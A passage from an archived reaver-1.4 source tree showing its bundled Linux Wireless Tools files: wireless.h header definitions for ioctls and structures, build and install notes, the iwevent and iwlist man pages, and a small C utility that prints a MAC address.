0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory alocated in user space. */ struct iw_point { caddr_t pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __u32 m; /* Mantissa */ __u16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR or better...) */ __u8 level; /* signal level */ __u8 noise; /* noise level */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... */ struct iw_discarded { __u32 nwid; /* Wrong nwid */ __u32 code; /* Unable to code/decode */ __u32 misc; /* Others cases */ }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * * Note that it should fit on the same memory footprint ! * You should check this when increasing the above structures (16 octets) * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part */ union { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct sockaddr ap_addr; /* Access point address */ struct iw_point data; /* Other large parameters */ } u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers */ /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ struct iw_quality max_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/INSTALL0000755000175000017500000001411211705505257014614 0ustar reaverreaverVery important note : ------------------- This release of the Wireless Tools is not compatible with Wireless Extensions earlier than 9. Version 9 and 10 should work fine but are not recommended. Version 8 and earlier will not work. Kernels that support this version of the Wireless Tools are listed below. For all kernels before that, see at the end. You need : -------- o Compiler and development environment o A kernel supporting wireless extensions version 11 or higher -> from 2.4.4 onward (including 2.6.X) Note : CONFIG_NET_RADIO must be enabled o (Optional) A Pcmcia package supporting Wireless Extension o A driver supporting wireless extensions -> Check my web pages for status of various drivers. Note : more recent kernels and drivers are likely to support more wireless extension features... Compile wireless tools : ---------------------- In theory, a "make" should suffice to create the tools. Installation : ------------ "make install" should do the right thing for you, and install the tools, their library and the man pages. You can also uninstall the tools via "make uninstall". Note that the default installation is in the directory '/usr/local/sbin'. This may not be in your path. Also, other version of the tools may exist on the system, so double check which version is the default and adjust your path as necessary. Create a local copy of the tools : -------------------------------- By default, the package is built with iwlib as a dynamic library, and the tool will expect to use the default version of libiw on the system. This means you can't use the tools until they are properly installed. If you just want to experiment with a "local" version of the tools, you may want to pass the BUILD_STATIC flag to Makefile. It will create a self contained version of the tools. ------------- make clean make BUILD_STATIC='y' ------------- The resulting binary can be used in the compilation directory or installed in any place you like. Other useful Makefile options : ----------------------------- PREFIX : where the tools will be installed (default : /usr/local) CC : Compiler to use (defaul : gcc) BUILD_STATIC : build tools with a static version of the wireless lib BUILD_NOLIBM : build tools without mathematical lib (slower) BUILD_STRIPPING : strip symbols from tools/lib. BUILD_WE_ESSENTIAL : remove less used and obsolete features. You can pass those options on the command line of make, or modify the top of the Makefile. You can also set them as environment variable, but this is not recommended. If you pass those options on the command line, you should pass the same command line options for all invocations of make ("make" and "make install"). Memory footprint reduction : -------------------------- The Wireless Tools are used in various embedded systems where memory footprint is a great concern. The Wireless Tools package offer multiple options to customise the compilation depending on the level of features you want. The list below details the must useful combinations of these options, from the largest footprint to the smallest. Footprint depend on lot's of factor and is purely indicative (version 29-pre7+, i386, glibc, gcc 3.3.5). 1) Static build Command line : make BUILD_STATIC='y' - : Largest footprint - : libiw not included (other third party tools may depend on it) Size : ~280 kB 2) Default build Command line : make + : Fully featured version of the tools - : Largest footprint (except for static version of tools) Size : ~190 kB (libiw : ~29 kB ; ifrename : ~29 kB) 3) Stripping (remove function symbols) Command line : make BUILD_STRIPPING='y' + : Fully featured version of the tools - : Still quite large Size : ~110 kB (libiw : ~23 kB ; ifrename : ~17 kB) 4) Multicall version (include stripping) Command line : make iwmulticall ; make install-iwmulticall + : Fully featured version of the tools + : Small - : libiw not included (other third party tools may depend on it) - : ifrename is not included Size : ~55 kB 5) Multicall + Essential Command line : make BUILD_WE_ESSENTIAL='y' iwmulticall + : Smaller - : Some less used features are left out - : libiw not included (other third party tools may depend on it) - : ifrename is not included Size : ~44 kB 6) iwconfig only + essential + static Command line : make BUILD_WE_ESSENTIAL='y' BUILD_STATIC='y' BUILD_STRIPPING='y' iwconfig + : Very small - : Very limited functionality : no scanning, no event, no iwpriv - : libiw not included (other third party tools may depend on it) - : ifrename is not included Size : ~28 kB Wireless headers (past history) : ------------------------------- Previous version of the Wireless Tools had to be compiled with the same version of Wireless Extension that the kernel was using, and that was a major source of troubles. Starting with version 27, Wireless Tools include all the ugly code to deal with any version of Wireless Extensions, so now you can compile a single "generic" version of the tools for any kernel. Well, there are some limits, Wireless Extensions earlier than v11 are not supported (v9 and v10 should work fine), and versions later than the latest definition in the package are not supported. Once compile, the command "iwconfig --version" should tell you that. Note that the previous option to make versioned installed of the tools no longer make sense and therefore is gone. Old kernel with older Wireless Extensions : ----------------------------------------- Kernel prior to 2.2.14 : Those kernels include Wireless Extensions v8 or earlier. Those versions don't have proper support for 802.11b, so are not very useful. You may want to consider upgrading. Kernel 2.2.19 to 2.2.25 : Those kernels include Wireless Extensions v10. The tools should mostly work with it, but many drivers won't. You can upgrade those kernel to WE v15 with a patch on my web page. Kernel 2.2.14 to 2.2.18 : Those kernels include Wireless Extensions v9. Same as above, you may want to upgrade to a later 2.2.X kernel and then apply the patch. Kernel 2.0.X : Those kernels include very old version of Wireless Extensions. Same deal as old 2.2.X kernels. Jean reaver-1.4/src/lwe/iwevent.80000755000175000017500000000601711705505257015342 0ustar reaverreaver.\" Jean Tourrilhes - HPL - 2002 - 2004 .\" iwevent.8 .\" .TH IWEVENT 8 "23 June 2004" "net-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME iwevent \- Display Wireless Events generated by drivers and setting changes .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwevent " .br .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B iwevent displays Wireless Events received through the RTNetlink socket. Each line displays the specific Wireless Event which describes what has happened on the specified wireless interface. .br This command doesn't take any arguments. .\" .\" DISPLAY part .\" .SH DISPLAY There are two classes of Wireless Events. .PP The first class is events related to a change of wireless settings on the interface (typically done through .B iwconfig or a script calling .BR iwconfig ). Only settings that could result in a disruption of connectivity are reported. The events currently reported are changing one of the following setting : .br .I " Network ID" .br .I " ESSID" .br .I " Frequency" .br .I " Mode" .br .I " Encryption" .br All those events will be generated on all wireless interfaces by the kernel wireless subsystem (but only if the driver has been converted to the new driver API). .PP The second class of events are events generated by the hardware, when something happens or a task has been finished. Those events include : .TP .B New Access Point/Cell address The interface has joined a new Access Point or Ad-Hoc Cell, or lost its association with it. This is the same address that is reported by .BR iwconfig . .TP .B Scan request completed A scanning request has been completed, results of the scan are available (see .BR iwlist ). .TP .B Tx packet dropped A packet directed at this address has been dropped because the interface believes this node doesn't answer anymore (usually maximum of MAC level retry exceeded). This is usually an early indication that the node may have left the cell or gone out of range, but it may be due to fading or excessive contention. .TP .B Custom driver event Event specific to the driver. Please check the driver documentation. .TP .B Registered node The interface has successfully registered a new wireless client/peer. Will be generated mostly when the interface acts as an Access Point (mode Master). .TP .B Expired node The registration of the client/peer on this interface has expired. Will be generated mostly when the interface acts as an Access Point (mode Master). .TP .B Spy threshold crossed The signal strength for one of the addresses in the spy list went under the low threshold or went above the high threshold. .PP Most wireless drivers generate only a subset of those events, not all of them, the exact list depends on the specific hardware/driver combination. Please refer to driver documentation for details on when they are generated, and use .IR iwlist (8) to check what the driver supports. .\" .\" AUTHOR part .\" .SH AUTHOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR iwconfig (8), .BR iwlist (8), .BR iwspy (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/macaddr.c0000755000175000017500000000206611705505257015327 0ustar reaverreaver/* * macaddr * * Program to return the MAC address of an Ethernet * adapter. This was written to help configure the * adapter based on the MAC address rather than the * name. * * Version 1.0 Eric Dittman 2001-10-19 * * This is released unther the GPL license. */ #include #include #include #include #include #include #include #include "iwlib.h" int main(int argc, char** argv) { int devsock; struct ifreq ifbuffer; char buf[20]; if ((argc != 2) || (argv[1][0] == '-')) { printf("Usage: macaddr interface\n"); exit(1); } devsock = socket(AF_INET, SOCK_STREAM, 0); if (devsock == -1) { perror("Failed opening socket"); exit (1); } memset(&ifbuffer, 0, sizeof(ifbuffer)); strncpy(ifbuffer.ifr_name, argv[1], sizeof(ifbuffer.ifr_name)); if (ioctl(devsock, SIOCGIFHWADDR, &ifbuffer) == -1) { fprintf(stderr, "There is no MACADDR for %s\n", argv[1]); exit(1); } close(devsock); puts(iw_saether_ntop(&ifbuffer.ifr_ifru.ifru_hwaddr, buf)); exit(0); } reaver-1.4/src/lwe/iwlist.80000755000175000017500000000744511705505257015202 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwlist.8 .\" .TH IWLIST 8 "13 April 2006" "wireless-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME iwlist \- Get more detailed wireless information from a wireless interface .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwlist [" interface "] scanning" .br .BI "iwlist [" interface "] frequency" .br .BI "iwlist [" interface "] rate" .br .BI "iwlist [" interface "] keys" .br .BI "iwlist [" interface "] power" .br .BI "iwlist [" interface "] txpower" .br .BI "iwlist [" interface "] retry" .br .BI "iwlist [" interface "] event" .br .BI "iwlist [" interface "] auth" .br .BI "iwlist [" interface "] wpakeys" .br .BI "iwlist [" interface "] genie" .br .BI "iwlist [" interface "] modulation" .br .BI "iwlist --help" .br .BI "iwlist --version" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Iwlist is used to display some additional information from a wireless network interface that is not displayed by .IR iwconfig (8). The main argument is used to select a category of information, .B iwlist displays in detailed form all information related to this category, including information already shown by .IR iwconfig (8). .\" .\" PARAMETER part .\" .SH PARAMETERS .TP .BR scan [ning] Give the list of Access Points and Ad-Hoc cells in range, and optionally a whole bunch of information about them (ESSID, Quality, Frequency, Mode...). The type of information returned depends on what the card supports. .br Triggering scanning is a privileged operation .RI ( root only) and normal users can only read left-over scan results. By default, the way scanning is done (the scope of the scan) is dependant on the card and card settings. .br This command take optional arguments, however most drivers will ignore those. The option .B essid is used to specify a scan on a specific ESSID. The option .B last do not trigger a scan and read left-over scan results. .TP .BR freq [uency]/ channel Give the list of available frequencies in the device and the number of defined channels. Please note that usually the driver returns the total number of channels and only the frequencies available in the present locale, so there is no one-to-one mapping between frequencies displayed and channel numbers. .TP .BR rate / bit [rate] List the bit-rates supported by the device. .TP .BR keys / enc [ryption] List the encryption key sizes supported and list all the encryption keys set in the device. .TP .B power List the various Power Management attributes and modes of the device. .TP .B txpower List the various Transmit Powers available on the device. .TP .B retry List the transmit retry limits and retry lifetime on the device. .TP .BR ap / accesspoint / peers Give the list of Access Points in range, and optionally the quality of link to them. This feature is .B obsolete and now deprecated in favor of scanning support (above), and most drivers don't support it. .br Some drivers may use this command to return a specific list of Peers or Access Points, such as the list of Peers associated/registered with the card. See your driver documentation for details. .TP .B event List the wireless events supported by the device. .TP .B auth List the WPA authentication parametes curently set. .TP .BR wpa [keys] List all the WPA encryption keys set in the device. .TP .B genie List the Generic Information Elements set in the device (used for WPA support). .TP .BR modu [lation] List the modulations supported by the device and the modulations currently enabled. .TP .B --version Display the version of the tools, as well as the recommended and current Wireless Extensions version for the tool and the various wireless interfaces. .TP .B --help Display short help message. .\" .\" FILES part .\" .SH FILES .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR iwconfig (8), .BR iwspy (8). .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/wireless.20.h0000755000175000017500000011725011705505257016020 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 20 17.2.06 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2006 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # net/core/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # net/core/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ /* Do not put any header in this file, this creates a mess when * exported to user space. Most users have included all the * relevant headers anyway... Jean II */ /*#include */ /* for "caddr_t" et al */ /*#include */ /* for "struct sockaddr" et al */ /*#include */ /* for IFNAMSIZ and co... */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 20 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor * * V15 to V16 * ---------- * - Increase the number of bitrates in iw_range to 32 (for 802.11g) * - Increase the number of frequencies in iw_range to 32 (for 802.11b+a) * - Reshuffle struct iw_range for increases, add filler * - Increase IW_MAX_AP to 64 for driver returning a lot of addresses * - Remove IW_MAX_GET_SPY because conflict with enhanced spy support * - Add SIOCSIWTHRSPY/SIOCGIWTHRSPY and "struct iw_thrspy" * - Add IW_ENCODE_TEMP and iw_range->encoding_login_index * * V16 to V17 * ---------- * - Add flags to frequency -> auto/fixed * - Document (struct iw_quality *)->updated, add new flags (INVALID) * - Wireless Event capability in struct iw_range * - Add support for relative TxPower (yick !) * * V17 to V18 (From Jouni Malinen ) * ---------- * - Add support for WPA/WPA2 * - Add extended encoding configuration (SIOCSIWENCODEEXT and * SIOCGIWENCODEEXT) * - Add SIOCSIWGENIE/SIOCGIWGENIE * - Add SIOCSIWMLME * - Add SIOCSIWPMKSA * - Add struct iw_range bit field for supported encoding capabilities * - Add optional scan request parameters for SIOCSIWSCAN * - Add SIOCSIWAUTH/SIOCGIWAUTH for setting authentication and WPA * related parameters (extensible up to 4096 parameter values) * - Add wireless events: IWEVGENIE, IWEVMICHAELMICFAILURE, * IWEVASSOCREQIE, IWEVASSOCRESPIE, IWEVPMKIDCAND * * V18 to V19 * ---------- * - Remove (struct iw_point *)->pointer from events and streams * - Remove header includes to help user space * - Increase IW_ENCODING_TOKEN_MAX from 32 to 64 * - Add IW_QUAL_ALL_UPDATED and IW_QUAL_ALL_INVALID macros * - Add explicit flag to tell stats are in dBm : IW_QUAL_DBM * - Add IW_IOCTL_IDX() and IW_EVENT_IDX() macros * * V19 to V20 * ---------- * - RtNetlink requests support (SET/GET) */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Spy support (statistics per MAC address - used for Mobile IP support) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ #define SIOCSIWTHRSPY 0x8B12 /* set spy threshold (spy event) */ #define SIOCGIWTHRSPY 0x8B13 /* get spy threshold */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* WPA : Generic IEEE 802.11 informatiom element (e.g., for WPA/RSN/WMM). * This ioctl uses struct iw_point and data buffer that includes IE id and len * fields. More than one IE may be included in the request. Setting the generic * IE to empty buffer (len=0) removes the generic IE from the driver. Drivers * are allowed to generate their own WPA/RSN IEs, but in these cases, drivers * are required to report the used IE as a wireless event, e.g., when * associating with an AP. */ #define SIOCSIWGENIE 0x8B30 /* set generic IE */ #define SIOCGIWGENIE 0x8B31 /* get generic IE */ /* WPA : IEEE 802.11 MLME requests */ #define SIOCSIWMLME 0x8B16 /* request MLME operation; uses * struct iw_mlme */ /* WPA : Authentication mode parameters */ #define SIOCSIWAUTH 0x8B32 /* set authentication mode params */ #define SIOCGIWAUTH 0x8B33 /* get authentication mode params */ /* WPA : Extended version of encoding configuration */ #define SIOCSIWENCODEEXT 0x8B34 /* set encoding token & mode */ #define SIOCGIWENCODEEXT 0x8B35 /* get encoding token & mode */ /* WPA2 : PMKSA cache management */ #define SIOCSIWPMKSA 0x8B36 /* PMKSA cache operation */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 32 ioctl are wireless device private, for 16 commands. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). More details in iwpriv.c. * And I repeat : you are not forced to use them with iwpriv, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ #define IW_IOCTL_IDX(cmd) ((cmd) - SIOCIWFIRST) /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVGENIE 0x8C05 /* Generic IE (WPA, RSN, WMM, ..) * (scan results); This includes id and * length fields. One IWEVGENIE may * contain more than one IE. Scan * results may contain one or more * IWEVGENIE events. */ #define IWEVMICHAELMICFAILURE 0x8C06 /* Michael MIC failure * (struct iw_michaelmicfailure) */ #define IWEVASSOCREQIE 0x8C07 /* IEs used in (Re)Association Request. * The data includes id and length * fields and may contain more than one * IE. This event is required in * Managed mode if the driver * generates its own WPA/RSN IE. This * should be sent just before * IWEVREGISTERED event for the * association. */ #define IWEVASSOCRESPIE 0x8C08 /* IEs used in (Re)Association * Response. The data includes id and * length fields and may contain more * than one IE. This may be sent * between IWEVASSOCREQIE and * IWEVREGISTERED events for the * association. */ #define IWEVPMKIDCAND 0x8C09 /* PMKID candidate for RSN * pre-authentication * (struct iw_pmkid_cand) */ #define IWEVFIRST 0x8C00 #define IW_EVENT_IDX(cmd) ((cmd) - IWEVFIRST) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 